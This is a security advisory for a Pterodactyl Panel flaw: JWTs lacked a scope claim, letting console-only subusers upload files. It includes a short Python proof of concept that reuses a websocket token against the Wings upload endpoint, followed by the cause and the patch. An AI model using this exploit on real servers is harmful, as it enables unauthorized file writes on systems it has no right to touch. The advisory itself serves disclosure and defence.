CVE-2026-54593: Pterodactyl Panel Improper JWT Scope Allows Unauthorized File Upload
A subuser with only console access on a Pterodactyl game server can reuse a websocket or file-download JWT to upload arbitrary files, bypassing the file.create permission check entirely.

The problem
Pterodactyl Panel issued JWTs for multiple purposes (websocket auth, file downloads, backup downloads, file uploads) but embedded no scope claim to indicate the token's intended use. Wings, the server agent, accepted any valid panel-signed JWT that carried the required server_uuid, user_uuid, and unique_id claims.
This meant a subuser who only held websocket.connect permission could take their websocket token and POST it directly to Wings' /upload/file endpoint. Wings validated the signature and the shared claims, found them correct, and allowed the upload. No file.create check ever ran.
Proof of concept
A working proof-of-concept for CVE-2026-54593 in pterodactyl/panel, with the exact payload below.
import requests
wings_url = 'http://<WINGS_HOST>:8080'
# Obtain via GET /api/client/servers/<SERVER_ID>/websocket as a subuser
# with only websocket.connect permission
websocket_token = '<WEBSOCKET_JWT_FROM_PANEL>'
res = requests.post(
f'{wings_url}/upload/file',
params={'token': websocket_token},
files={'files': ('pwned.txt', b'arbitrary content')},
)
print(res.status_code, res.content)The root flaw is CWE-1270 (Improper Restriction of Security Token Assignment) combined with CWE-1289 (Incorrect Security Token Generation). Before the fix, every panel-issued JWT carried identical structural claims regardless of purpose, so Wings could not distinguish a websocket token from a file-upload token.
The patch introduced a JwtScope enum on the panel side. Every JWT generator (WebsocketController, FileController, FileUploadController, DownloadLinkService) now stamps a scope claim into the token before signing. On the Wings side, each endpoint checks that the incoming token carries the required scope value.
A websocket token presented to /upload/file now fails scope validation and is rejected.
The fix
Update pterodactyl/panel to v1.12.3 and pterodactyl/wings to v1.12.2. Both components must be updated together: the panel embeds scopes into new tokens (commit 7ffcd636), and Wings enforces scope validation on every endpoint (commit d0ddc808). Running a patched panel against unpatched Wings, or vice versa, leaves the installation vulnerable.
No configuration workaround exists short of removing subuser websocket access.
Reported by unknown.
Related research
- high · 7.5CVE-2026-61609CVE-2026-61609: Pterodactyl Panel Global Authentication Rate-Limit DoS
- critical · 9.6CVE-2026-54588CVE-2026-54588: Poweradmin Host Header Injection in OIDC / SAML / Logout Redirect
- high · 8.6CVE-2026-45293CVE-2026-45293: WordPress Coding Standards (WPCS) Eval Injection via EnqueuedResourceParameters Sniff
- critical · 10Pheditor: Authentication Bypass in Forced Password-Change Flow